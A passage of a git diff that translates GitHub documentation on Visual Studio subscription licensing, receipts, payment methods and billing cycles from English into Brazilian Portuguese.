-To use the {% data variables.product.prodname_enterprise %} portion of the license, each subscriber's user account on {% data variables.product.prodname_dotcom_the_website %} must be or become a member of an organization owned by your enterprise on {% data variables.product.prodname_dotcom_the_website %}. To accomplish this, organization owners can invite new members to an organization by email address. The subscriber can accept the invitation with an existing user account on {% data variables.product.prodname_dotcom_the_website %} or create a new account.
+Para usar a parte da licença de {% data variables.product.prodname_enterprise %}, a conta de cada usuário assinante no {% data variables.product.prodname_dotcom_the_website %} deve ser ou tornar-se integrante de uma organização de propriedade da sua empresa em {% data variables.product.prodname_dotcom_the_website %}. Para isso, os proprietários da organização podem convidar novos integrantes para uma organização por e-mail. O assinante pode aceitar o convite com uma conta de usuário existente em {% data variables.product.prodname_dotcom_the_website %} ou criar uma nova conta.
 
-For more information about the setup of {% data variables.product.prodname_vss_ghe %}, see "[Setting up {% data variables.product.prodname_vss_ghe %}](/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/setting-up-visual-studio-subscriptions-with-github-enterprise)."
+Para obter mais informações sobre a configuração de {% data variables.product.prodname_vss_ghe %}, consulte "[Configurando o {% data variables.product.prodname_vss_ghe %}](/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/setting-up-visual-studio-subscriptions-with-github-enterprise)".
 
-## About licenses for {% data variables.product.prodname_vss_ghe %}
+## Sobre as licenças para {% data variables.product.prodname_vss_ghe %}
 
-After you assign a license for {% data variables.product.prodname_vss_ghe %} to a subscriber, the subscriber will use the {% data variables.product.prodname_enterprise %} portion of the license by joining an organization in your enterprise with a user account on {% data variables.product.prodname_dotcom_the_website %}. If the email address for the user account of an enterprise member on {% data variables.product.prodname_dotcom_the_website %} matches the User Primary Name (UPN) for a subscriber to your {% data variables.product.prodname_vs %} account, the {% data variables.product.prodname_vs %} subscriber will automatically consume one license for {% data variables.product.prodname_vss_ghe %}.
+Depois de atribuir uma licença de {% data variables.product.prodname_vss_ghe %} a um assinante, o integrante usará a parte {% data variables.product.prodname_enterprise %} da licença, juntando-se a uma organização na sua empresa com uma conta de usuário no {% data variables.product.prodname_dotcom_the_website %}. Se o endereço de e-mail para a conta de usuário de um integrante corporativo em {% data variables.product.prodname_dotcom_the_website %} corresponde ao Nome Principal do Usuário (UPN) de um assinante da sua conta {% data variables.product.prodname_vs %} o {% data variables.product.prodname_vs %} assinante consumirá automaticamente uma licença para {% data variables.product.prodname_vss_ghe %}.
 
-The total quantity of your licenses for your enterprise on {% data variables.product.prodname_dotcom %} is the sum of any standard {% data variables.product.prodname_enterprise %} licenses and the number of {% data variables.product.prodname_vs %} subscription licenses that include access to {% data variables.product.prodname_dotcom %}. If the user account for an enterprise member does not correspond with the email address for a {% data variables.product.prodname_vs %} subscriber, the license that the user account consumes is unavailable for a {% data variables.product.prodname_vs %} subscriber.
+A quantidade total de suas licenças para a sua empresa em {% data variables.product.prodname_dotcom %} é a soma de qualquer licença padrão de {% data variables.product.prodname_enterprise %} e o número de licenças de assinatura {% data variables.product.prodname_vs %} que incluem acesso a {% data variables.product.prodname_dotcom %}. Se a conta de usuário de um integrante corporativo não corresponde ao endereço de e-mail de um assinante de {% data variables.product.prodname_vs %}, a licença que a conta de usuário consome não estará disponível para um assinante de {% data variables.product.prodname_vs %}.
 
-For more information about {% data variables.product.prodname_enterprise %}, see "[{% data variables.product.company_short %}'s products](/github/getting-started-with-github/githubs-products#github-enterprise)." For more information about accounts on {% data variables.product.prodname_dotcom_the_website %}, see "[Types of {% data variables.product.prodname_dotcom %} accounts](/github/getting-started-with-github/types-of-github-accounts)."
+Para obter mais informações sobre o {% data variables.product.prodname_enterprise %}, consulte "[Produtos do {% data variables.product.company_short %}](/github/getting-started-with-github/githubs-products#github-enterprise)". Para obter mais informações sobre contas em {% data variables.product.prodname_dotcom_the_website %}, consulte "[Tipos de contas de {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/types-of-github-accounts)".
 
-You can view the number of {% data variables.product.prodname_enterprise %} licenses available to your enterprise on {% data variables.product.product_location %}. The list of pending invitations includes subscribers who are not yet members of at least one organization in your enterprise. For more information, see "[Viewing the subscription and usage for your enterprise account](/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account)" and "[Viewing people in your enterprise](/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise#viewing-members-and-outside-collaborators)."
+Você pode visualizar o número de licenças de {% data variables.product.prodname_enterprise %} disponíveis para a sua empresa em {% data variables.product.product_location %}. A lista de convites pendentes inclui assinantes que ainda não são integrantes de pelo menos uma organização na sua empresa. Para mais informações, consulte "[Visualizando a assinatura e o uso da conta corporativa](/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account)" e "[Visualizando pessoas na sua empresa](/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise#viewing-members-and-outside-collaborators). "
 
 {% tip %}
 
-**Tip**: If you download a CSV file with your enterprise's license usage in step 6 of "[Viewing the subscription and usage for your enterprise account](/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account#viewing-the-subscription-and-usage-for-your-enterprise-account)," any members with a missing value for the "Name" or "Profile" columns have not yet accepted an invitation to join an organization within the enterprise.
+**Dica**: Se você fizer o download de um arquivo CSV com o uso da licença da sua empresa na etapa 6 de "[Visualizando a assinatura e o uso da conta corporativa](/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account#viewing-the-subscription-and-usage-for-your-enterprise-account), todos os integrantes sem valor para as colunas "Nome" ou "Perfil" ainda não aceitaram um convite para participar de uma organização dentro da empresa.
 
 {% endtip %}
 
-You can also see pending {% data variables.product.prodname_enterprise %} invitations to subscribers in {% data variables.product.prodname_vss_admin_portal_with_url %}.
+Você também pode ver convites pendentes de {% data variables.product.prodname_enterprise %} para inscritos em {% data variables.product.prodname_vss_admin_portal_with_url %}.
 
-## Further reading
+## Leia mais
 
-- [{% data variables.product.prodname_vs %} subscriptions with {% data variables.product.prodname_enterprise %}](https://docs.microsoft.com/visualstudio/subscriptions/access-github) in Microsoft Docs
-- [Use {% data variables.product.prodname_vs %} or {% data variables.product.prodname_vscode %} to deploy apps from {% data variables.product.prodname_dotcom %}](https://docs.microsoft.com/en-us/azure/developer/github/deploy-with-visual-studio) in Microsoft Docs
\ No newline at end of file
+- [Assinaturas de {% data variables.product.prodname_vs %} com {% data variables.product.prodname_enterprise %}](https://docs.microsoft.com/visualstudio/subscriptions/access-github) na documentação da Microsoft.
+- [Use {% data variables.product.prodname_vs %} ou {% data variables.product.prodname_vscode %} para implantar aplicativos do {% data variables.product.prodname_dotcom %}](https://docs.microsoft.com/en-us/azure/developer/github/deploy-with-visual-studio) na documentação da Microsoft
diff --git a/translations/pt-BR/content/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/index.md b/translations/pt-BR/content/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/index.md
index aa388b4c2b..3381eae99e 100644
--- a/translations/pt-BR/content/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/index.md
+++ b/translations/pt-BR/content/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/index.md
@@ -1,5 +1,5 @@
 ---
-title: Managing licenses for Visual Studio subscriptions with GitHub Enterprise
+title: Gerenciando licenças para assinaturas do Visual Studio com o GitHub Enterprise
 shortTitle: Visual Studio & GitHub Enterprise
 intro: '{% data reusables.enterprise-accounts.vss-ghe-description %}'
 versions:
diff --git a/translations/pt-BR/content/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/setting-up-visual-studio-subscriptions-with-github-enterprise.md b/translations/pt-BR/content/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/setting-up-visual-studio-subscriptions-with-github-enterprise.md
index 6d51a952ce..147258f9a7 100644
--- a/translations/pt-BR/content/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/setting-up-visual-studio-subscriptions-with-github-enterprise.md
+++ b/translations/pt-BR/content/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/setting-up-visual-studio-subscriptions-with-github-enterprise.md
@@ -1,68 +1,67 @@
 ---
-title: Setting up Visual Studio subscriptions with GitHub Enterprise
-intro: "Your team's subscription to {% data variables.product.prodname_vs %} can also provide access to {% data variables.product.prodname_enterprise %}."
+title: Configurando as assinaturas do Visual Studio com o GitHub Enterprise
+intro: 'A assinatura da sua equipe para {% data variables.product.prodname_vs %} também pode fornecer acesso a {% data variables.product.prodname_enterprise %}.'
 versions:
   ghec: '*'
 type: how_to
 topics:
   - Enterprise
   - Licensing
-shortTitle: Set up
+shortTitle: Configurar
 ---
 
-## About setup of {% data variables.product.prodname_vss_ghe %}
+## Sobre a configuração de {% data variables.product.prodname_vss_ghe %}
 
-{% data reusables.enterprise-accounts.vss-ghe-description %} For more information, see "[About {% data variables.product.prodname_vss_ghe %}](/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/about-visual-studio-subscriptions-with-github-enterprise)."
+{% data reusables.enterprise-accounts.vss-ghe-description %} Para obter mais informações, consulte "[Sobre o {% data variables.product.prodname_vss_ghe %}de](/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/about-visual-studio-subscriptions-with-github-enterprise)."
 
-This guide shows you how your team can get {% data variables.product.prodname_vs %} subscribers licensed and started with {% data variables.product.prodname_enterprise %}.
+Este guia mostra como a sua equipe pode obter assinantes licenciados de {% data variables.product.prodname_vs %} e dar os primeiros passos com {% data variables.product.prodname_enterprise %}.
 
-## Roles for {% data variables.product.prodname_vss_ghe %}
+## Funções para {% data variables.product.prodname_vss_ghe %}
 
-Before setting up {% data variables.product.prodname_vss_ghe %}, it's important to understand the roles for this combined offering.
+Antes de configurar {% data variables.product.prodname_vss_ghe %}, é importante entender as funções para esta oferta combinada.
 
-| Role | Service | Description | More information |
-| :- | :- | :- | :- |
-| **Subscriptions admin** | {% data variables.product.prodname_vs %} subscription | Person who assigns licenses for {% data variables.product.prodname_vs %} subscription | [Overview of admin responsibilities](https://docs.microsoft.com/en-us/visualstudio/subscriptions/admin-responsibilities) in Microsoft Docs |
-| **Subscriber** | {% data variables.product.prodname_vs %} subscription | Person who uses a license for {% data variables.product.prodname_vs %} subscription | [Visual Studio Subscriptions documentation](https://docs.microsoft.com/en-us/visualstudio/subscriptions/) in Microsoft Docs |
-| **Enterprise owner** | {% data variables.product.prodname_dotcom %} | Person who has a user account that's an administrator of an enterprise on {% data variables.product.product_location %} | "[Roles in an enterprise](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise#enterprise-owner)" |
-| **Organization owner** | {% data variables.product.prodname_dotcom %} | Person who has a user account that's an owner of an organization in your team's enterprise on {% data variables.product.product_location %} | "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#organization-owners)" |
-| **Enterprise member** | {% data variables.product.prodname_dotcom %} | Person who has a user account that's a member of an enterprise on {% data variables.product.product_location %} | "[Roles in an enterprise](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise#enterprise-members)"  |
+| Função                           | Serviço                                                | Descrição                                                                                                                                           | Mais informações                                                                                                                                                      |
+|:-------------------------------- |:------------------------------------------------------ |:--------------------------------------------------------------------------------------------------------------------------------------------------- |:--------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| **Administrador de assinaturas** | Assinatura de {% data variables.product.prodname_vs %} | Pessoa que atribui licenças para a assinatura de {% data variables.product.prodname_vs %}                                                           | [Visão geral das responsabilidades do administrador](https://docs.microsoft.com/en-us/visualstudio/subscriptions/admin-responsibilities) na documentação da Microsoft |
+| **Assinante**                    | Assinatura de {% data variables.product.prodname_vs %} | Pessoa que usa uma licença para assinatura de {% data variables.product.prodname_vs %}                                                              | [Assinaturas do Visual Studio](https://docs.microsoft.com/en-us/visualstudio/subscriptions/) na documentação da Microsoft                                             |
+| **Proprietário corporativo**     | {% data variables.product.prodname_dotcom %}           | Pessoa que tem uma conta de usuário que é administrador de uma empresa em {% data variables.product.product_location %}                             | "[Funções em uma empresa](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise#enterprise-owner)"                                          |
+| **Proprietário da organização**  | {% data variables.product.prodname_dotcom %}           | Pessoa que tem uma conta de usuário que é proprietário de uma organização na empresa da sua equipe em {% data variables.product.product_location %} | "[Funções em uma organização](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#organization-owners)"                   |
+| **Integrante da empresa**        | {% data variables.product.prodname_dotcom %}           | Pessoa que tem uma conta de usuário que é integrante de uma empresa em {% data variables.product.product_location %}                                | "[Funções em uma empresa](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise#enterprise-members)"                                        |
 
-## Prerequisites
+## Pré-requisitos
 
-- Your team's {% data variables.product.prodname_vs %} subscription must include {% data variables.product.prodname_enterprise %}. For more information, see [{% data variables.product.prodname_vs %} Subscriptions and Benefits](https://visualstudio.microsoft.com/subscriptions/) on the {% data variables.product.prodname_vs %} website and
- [Overview of admin responsibilities](https://docs.microsoft.com/en-us/visualstudio/subscriptions/admin-responsibilities) in Microsoft Docs.
- 
- - Your team must have an enterprise on {% data variables.product.product_location %}. If you're not sure whether your team has an enterprise, contact your {% data variables.product.prodname_dotcom %} administrator. If you're not sure who on your team is responsible for {% data variables.product.prodname_dotcom %}, contact {% data variables.contact.contact_enterprise_sales %}. For more information, see "[About enterprise accounts](/admin/overview/about-enterprise-accounts)."
+- A assinatura da sua equipe de {% data variables.product.prodname_vs %} deve incluir {% data variables.product.prodname_enterprise %}. Para obter mais informações, consulte [{% data variables.product.prodname_vs %} Assinaturas e benefícios](https://visualstudio.microsoft.com/subscriptions/) no site de {% data variables.product.prodname_vs %} e [Visão geral das responsabilidades do administrador](https://docs.microsoft.com/en-us/visualstudio/subscriptions/admin-responsibilities) na documentação da Microsoft.
 
-## Setting up {% data variables.product.prodname_vss_ghe %}
+ - A sua equipe deve ter uma empresa em {% data variables.product.product_location %}. Se você não tiver certeza se sua equipe tem uma empresa, entre em contato com o administrador de {% data variables.product.prodname_dotcom %}. Se você não iver certeza de quem na sua equipe é responsável por {% data variables.product.prodname_dotcom %}, entre em contato com {% data variables.contact.contact_enterprise_sales %}. Para obter mais informações, consulte "[Sobre contas corporativas](/admin/overview/about-enterprise-accounts)".
 
-To set up {% data variables.product.prodname_vss_ghe %}, members of your team must complete the following tasks.
+## Configurar o {% data variables.product.prodname_vss_ghe %}
 
-One person may be able to complete the tasks because the person has all of the roles, but you may need to coordinate the tasks with multiple people. For more information, see "[Roles for {% data variables.product.prodname_vss_ghe %}](#roles-for-visual-studio-subscriptions-with-github-enterprise)."
+Para configurar {% data variables.product.prodname_vss_ghe %}, os integrantes da sua equipe deverão concluir as tarefas a seguir.
 
-1. An enterprise owner must create at least one organization in your enterprise on {% data variables.product.product_location %}. For more information, see "[Adding organizations to your enterprise](/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise)."
+Uma pessoa pode ser capaz de concluir as tarefas porque a pessoa tem todas as funções, mas você pode precisar coordenar as tarefas com várias pessoas. Para obter mais informações, consulte "[Funções para {% data variables.product.prodname_vss_ghe %}](#roles-for-visual-studio-subscriptions-with-github-enterprise)".
 
-1. The subscription admin must assign a license for {% data variables.product.prodname_vs %} to a subscriber in {% data variables.product.prodname_vss_admin_portal_with_url %}. For more information, see [Overview of the {% data variables.product.prodname_vs %} Subscriptions Administrator Portal](https://docs.microsoft.com/en-us/visualstudio/subscriptions/using-admin-portal) and [Assign {% data variables.product.prodname_vs %} Licenses in the {% data variables.product.prodname_vs %} Subscriptions Administration Portal](https://docs.microsoft.com/en-us/visualstudio/subscriptions/assign-license) in Microsoft Docs.
+1. O proprietário de uma empresa deve criar pelo menos uma organização na sua empresa em {% data variables.product.product_location %}. Para obter mais informações, consulte "[Adicionando organizações à sua empresa](/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise)".
 
-1. Optionally, if the subscription admin assigned licenses to subscribers in {% data variables.product.prodname_vs %} before adding {% data variables.product.prodname_enterprise %} to the subscription, the subscription admin can move the subscribers to the combined offering in the {% data variables.product.prodname_vs %} administration portal. For more information, see [Manage {% data variables.product.prodname_vs %} subscriptions with {% data variables.product.prodname_enterprise %}](https://docs.microsoft.com/en-us/visualstudio/subscriptions/assign-github#moving-to-visual-studio-with-github-enterprise) in Microsoft Docs.
+1. O administrador da assinatura deve atribuir uma licença para {% data variables.product.prodname_vs %} para um assinante em {% data variables.product.prodname_vss_admin_portal_with_url %}. Para obter mais informações, consulte [Visão geral do Portal do Administrador de Assinaturas de {% data variables.product.prodname_vs %}](https://docs.microsoft.com/en-us/visualstudio/subscriptions/using-admin-portal) e [Atribuir licenças de {% data variables.product.prodname_vs %} no Portal de Administração de Assinaturas de {% data variables.product.prodname_vs %}](https://docs.microsoft.com/en-us/visualstudio/subscriptions/assign-license) na documentação da Microsoft.
 
-1. If the subscription admin has not disabled email notifications, the subscriber will receive two confirmation emails. For more information, see [{% data variables.product.prodname_vs %} subscriptions with {% data variables.product.prodname_enterprise %}](https://docs.microsoft.com/en-us/visualstudio/subscriptions/access-github#what-is-the-visual-studio-subscription-with-github-enterprise-setup-process) in Microsoft Docs.
+1. Opcionalmente, se o administrador da assinatura atribuiu licenças aos assinantes em {% data variables.product.prodname_vs %} antes de adicionar {% data variables.product.prodname_enterprise %} à assinatura, o administrador da assinatura poderá mover os assinantes para as ofertas combinadas no portal de administração de {% data variables.product.prodname_vs %}. Para obter mais informações, consulte [Gerenciar assinaturas de {% data variables.product.prodname_vs %} com {% data variables.product.prodname_enterprise %}](https://docs.microsoft.com/en-us/visualstudio/subscriptions/assign-github#moving-to-visual-studio-with-github-enterprise) na documentação da Microsoft.
 
-1. An organization owner must invite the subscriber to the organization on {% data variables.product.product_location %} from step 1. The subscriber can accept the invitation with an existing user account on {% data variables.product.prodname_dotcom_the_website %} or create a new account. After the subscriber joins the organization, the subscriber becomes an enterprise member. For more information, see "[Inviting users to join your organization](/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization)."
+1. Se o administrador da assinatura não tiver desabilitado as notificações por e-mail, o assinante receberá dois e-mails de confirmação. Para obter mais informações, consulte [Assinaturas de {% data variables.product.prodname_vs %} com {% data variables.product.prodname_enterprise %}](https://docs.microsoft.com/en-us/visualstudio/subscriptions/access-github#what-is-the-visual-studio-subscription-with-github-enterprise-setup-process) na documentação da Microsoft.
+
+1. O proprietário de uma organização deve convidar o integrante para a organização no {% data variables.product.product_location %} a partir da etapa 1. O assinante pode aceitar o convite com uma conta de usuário existente em {% data variables.product.prodname_dotcom_the_website %} ou criar uma nova conta. Depois que o assinante aderir à organização, o assinante torna-se um integrante da empresa. Para obter mais informações, consulte "[Convidar usuários para participar da sua organização](/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization)".
 
    {% tip %}
 
-   **Tips**:
+   **Dicas**:
 
-   - While not required, we recommend that the organization owner sends an invitation to the same email address used for the subscriber's User Primary Name (UPN). When the email address on {% data variables.product.product_location %} matches the subscriber's UPN, you can ensure that another enterprise does not claim the subscriber's license.
-   - If the subscriber accepts the invitation to the organization with an existing user account on {% data variables.product.product_location %}, we recommend that the subscriber add the email address they use for {% data variables.product.prodname_vs %} to their user account on {% data variables.product.product_location %}. For more information, see "[Adding an email address to your {% data variables.product.prodname_dotcom %} account](/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/adding-an-email-address-to-your-github-account)."
-   - If the organization owner must invite a large number of subscribers, a script may make the process faster. For more information, see [the sample PowerShell script](https://github.com/github/platform-samples/blob/master/api/powershell/invite_members_to_org.ps1) in the `github/platform-samples` repository.
+   - Embora não seja necessário, recomendamos que o proprietário da organização envie um convite para o mesmo endereço de e-mail usado para o nome primário do usuário do assinante (UPN). Quando o endereço de e-mail em {% data variables.product.product_location %} corresponder ao UPN do assinante, você poderá garantir que outra empresa não reivindique a licença do assinante.
+   - Se o assinante aceitar o convite para a organização com uma conta de usuário existente em {% data variables.product.product_location %}, recomendamos que o assinante adicione o endereço de e-mail que ele usa para {% data variables.product.prodname_vs %} à sua conta de usuário em {% data variables.product.product_location %}. Para obter mais informações, consulte "[Adicionar um endereço de e-mail à sua conta de {% data variables.product.prodname_dotcom %}](/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/adding-an-email-address-to-your-github-account)".
+   - Se o proprietário da organização tiver de convidar um grande número de assinantes, um script poderá agilizar o processo. Para obter mais informações, consulte [a amostra de script do PowerShell](https://github.com/github/platform-samples/blob/master/api/powershell/invite_members_to_org.ps1) no repositório `github/platform-samples`.
 
     {% endtip %}
 
-After {% data variables.product.prodname_vss_ghe %} is set up for subscribers on your team, enterprise owners can review licensing information on {% data variables.product.product_location %}. For more information, see "[Viewing the subscription and usage for your enterprise account](/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account)."
+Depois de {% data variables.product.prodname_vss_ghe %} ser definido para assinantes da sua equipe, os proprietários da empresa poderão revisar as informações de licenciamento em {% data variables.product.product_location %}. Para obter mais informações, consulte "[Exibir a assinatura e o uso de sua conta corporativa](/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account)".
 
-## Further reading
+## Leia mais
 
-- "[Getting started with {% data variables.product.prodname_ghe_cloud %}](/get-started/onboarding/getting-started-with-github-enterprise-cloud)"
+- "[Primeiros passos com {% data variables.product.prodname_ghe_cloud %}](/get-started/onboarding/getting-started-with-github-enterprise-cloud)"
diff --git a/translations/pt-BR/content/billing/managing-your-github-billing-settings/adding-information-to-your-receipts.md b/translations/pt-BR/content/billing/managing-your-github-billing-settings/adding-information-to-your-receipts.md
index 0454458409..6f8e177661 100644
--- a/translations/pt-BR/content/billing/managing-your-github-billing-settings/adding-information-to-your-receipts.md
+++ b/translations/pt-BR/content/billing/managing-your-github-billing-settings/adding-information-to-your-receipts.md
@@ -1,6 +1,6 @@
 ---
-title: Adding information to your receipts
-intro: 'You can add extra information to your {% data variables.product.product_name %} receipts, such as tax or accounting information required by your company or country.'
+title: Adicionar informações aos recibos
+intro: 'Você pode adicionar informações extras aos recibos do {% data variables.product.product_name %}, como imposto ou informações contábeis exigidas pela empresa ou pelo país.'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/adding-information-to-your-receipts
   - /articles/can-i-add-my-credit-card-number-to-my-receipts
@@ -21,28 +21,29 @@ topics:
   - Organizations
   - Receipts
   - User account
-shortTitle: Add to your receipts
+shortTitle: Adicionar aos seus recibos
 ---
-Your receipts include your {% data variables.product.prodname_dotcom %} subscription as well as any subscriptions for [other paid features and products](/articles/about-billing-on-github).
+
+Seus recibos incluem sua assinatura do {% data variables.product.prodname_dotcom %}, bem como qualquer assinatura para [outros recursos e produtos pagos](/articles/about-billing-on-github).
 
 {% warning %}
 
-**Warning**: For security reasons, we strongly recommend against including any confidential or financial information (such as credit card numbers) on your receipts.
+**Aviso**: por motivos de segurança, é enfaticamente recomendável não incluir informações confidenciais ou financeiras (como números de cartão de crédito) nos recibos.
 
 {% endwarning %}
 
-## Adding information to your personal account's receipts
+## Adicionar informações aos recibos da sua conta pessoal
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.billing_plans %}
 {% data reusables.user_settings.payment-info-link %}
 {% data reusables.dotcom_billing.extra_info_receipt %}
 
-## Adding information to your organization's receipts
+## Adicionar informações ao recibos da sua organização
 
 {% note %}
 
-**Note**: {% data reusables.dotcom_billing.org-billing-perms %}
+**Observação**: {% data reusables.dotcom_billing.org-billing-perms %}
 
 {% endnote %}
 
diff --git a/translations/pt-BR/content/billing/managing-your-github-billing-settings/adding-or-editing-a-payment-method.md b/translations/pt-BR/content/billing/managing-your-github-billing-settings/adding-or-editing-a-payment-method.md
index bb9fc0e76c..a5cfc33f58 100644
--- a/translations/pt-BR/content/billing/managing-your-github-billing-settings/adding-or-editing-a-payment-method.md
+++ b/translations/pt-BR/content/billing/managing-your-github-billing-settings/adding-or-editing-a-payment-method.md
@@ -1,6 +1,6 @@
 ---
-title: Adding or editing a payment method
-intro: You can add a payment method to your account or update your account's existing payment method at any time.
+title: Adicionar ou editar uma forma de pagamento
+intro: Você pode adicionar uma forma de pagamento à sua conta ou atualizar a forma atual a qualquer momento.
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/adding-or-editing-a-payment-method
   - /articles/updating-your-personal-account-s-payment-method
@@ -24,31 +24,29 @@ type: how_to
 topics:
   - Organizations
   - User account
-shortTitle: Manage a payment method
+shortTitle: Gerenciar um método de pagamento
 ---
+
 {% data reusables.dotcom_billing.payment-methods %} {% data reusables.dotcom_billing.same-payment-method %}
 
-We don't provide invoicing or support purchase orders for personal accounts. We email receipts monthly or yearly on your account's billing date. If your company, country, or accountant requires your receipts to provide more detail, you can also [add extra information](/articles/adding-information-to-your-personal-account-s-receipts) to your receipts.
+Não fornecemos fatura nem damos suporte a ordens de compra para contas pessoais. Enviamos recibos por e-mail mensal ou anualmente na data de cobrança da sua conta. Se seu país, empresa ou contador exigir que seus recibos forneçam mais detalhes, você também pode [adicionar informações extras](/articles/adding-information-to-your-personal-account-s-receipts).
 
-## Updating your personal account's payment method
+## Atualizar a forma de pagamento da sua conta pessoal
 
 {% data reusables.user_settings.billing_plans %}
 {% data reusables.dotcom_billing.update_payment_method %}
-1. If your account has existing billing information that you want to update, click **Edit**.
-![Billing New Card button](/assets/images/help/billing/billing-information-edit-button.png)
+1. Se sua conta tiver informações de cobrança existentes que você deseja atualizar, clique em **Editar**. ![Botão de Cobrança de novo cartão](/assets/images/help/billing/billing-information-edit-button.png)
 {% data reusables.dotcom_billing.enter-billing-info %}
-1. If your account has an existing payment method that you want to update, click **Edit**.
-![Billing New Card button](/assets/images/help/billing/billing-payment-method-edit-button.png)
+1. Se sua conta tem um método de pagamento existente que você deseja atualizar, clique em **Editar**. ![Botão de Cobrança de novo cartão](/assets/images/help/billing/billing-payment-method-edit-button.png)
 {% data reusables.dotcom_billing.enter-payment-info %}
 
-## Updating your organization's payment method
+## Atualizar a forma de pagamento da sua organização
 
 {% data reusables.dotcom_billing.org-billing-perms %}
 
-If your organization is outside of the US or if you're using a corporate checking account to pay for {% data variables.product.product_name %}, PayPal could be a helpful method of payment.
+Se sua organização estiver fora dos EUA ou se você estiver usando uma conta de verificação corporativa para pagar pelo {% data variables.product.product_name %}, o PayPal pode ser uma forma prática de pagamento.
 
 {% data reusables.organizations.billing-settings %}
 {% data reusables.dotcom_billing.update_payment_method %}
-1. If your account has an existing credit card that you want to update, click **New Card**.
-![Billing New Card button](/assets/images/help/billing/billing-new-card-button.png)
+1. Se sua conta tiver um cartão de crédito existente que você deseja atualizar, clique em **Novo Cartão**. ![Botão de Cobrança de novo cartão](/assets/images/help/billing/billing-new-card-button.png)
 {% data reusables.dotcom_billing.enter-payment-info %}
diff --git a/translations/pt-BR/content/billing/managing-your-github-billing-settings/changing-the-duration-of-your-billing-cycle.md b/translations/pt-BR/content/billing/managing-your-github-billing-settings/changing-the-duration-of-your-billing-cycle.md
index 539ae1e931..1d027fcbd8 100644
--- a/translations/pt-BR/content/billing/managing-your-github-billing-settings/changing-the-duration-of-your-billing-cycle.md
+++ b/translations/pt-BR/content/billing/managing-your-github-billing-settings/changing-the-duration-of-your-billing-cycle.md
@@ -1,6 +1,6 @@
 ---
-title: Changing the duration of your billing cycle
-intro: You can pay for your account's subscription and other paid features and products on a monthly or yearly billing cycle.
+title: Alterar a duração do ciclo de cobrança
+intro: 'Você pode pagar pela assinatura da sua conta, bem como de outros recursos e produtos pagos em um ciclo de cobrança mensal ou anual.'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/changing-the-duration-of-your-billing-cycle
   - /articles/monthly-and-yearly-billing
@@ -16,31 +16,30 @@ topics:
   - Organizations
   - Repositories
   - User account
-shortTitle: Billing cycle
+shortTitle: Ciclo de cobrança
 ---
-When you change your billing cycle's duration, your {% data variables.product.prodname_dotcom %} subscription, along with any other paid features and products, will be moved to your new billing cycle on your next billing date.
 
-## Changing the duration of your personal account's billing cycle
+Quando você altera a duração do ciclo de cobrança, sua assinatura do {% data variables.product.prodname_dotcom %}, em conjunto com outros recursos e produtos pagos, são movidos para o novo ciclo de cobrança na próxima data de cobrança.
+
+## Alterar a duração do ciclo de cobrança da sua conta pessoal
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.billing_plans %}
 {% data reusables.dotcom_billing.change_plan_duration %}
 {% data reusables.dotcom_billing.confirm_duration_change %}
 
-## Changing the duration of your organization's billing cycle
+## Alterar a duração do ciclo de cobrança da organização
 
 {% data reusables.dotcom_billing.org-billing-perms %}
 
-### Changing the duration of a per-user subscription
+### Alterar a duração de uma assinatura por usuário
 
 {% data reusables.organizations.billing-settings %}
 {% data reusables.dotcom_billing.change_plan_duration %}
 {% data reusables.dotcom_billing.confirm_duration_change %}
 
-### Changing the duration of a legacy per-repository plan
+### Alterar a duração de um plano herdado por repositório
 
 {% data reusables.organizations.billing-settings %}
-4. Under "Billing overview", click **Change plan**.
-  ![Billing overview change plan button](/assets/images/help/billing/billing_overview_change_plan.png)
-5. At the top right corner, click **Switch to monthly billing** or **Switch to yearly billing**.
-  ![Billing information section](/assets/images/help/billing/settings_billing_organization_plans_switch_to_yearly.png)
+4. Em "Billing overview" (Visão geral de cobrança), clique em **Change plan** (Alterar plano). ![Botão de alteração de plano na visão geral de cobrança](/assets/images/help/billing/billing_overview_change_plan.png)
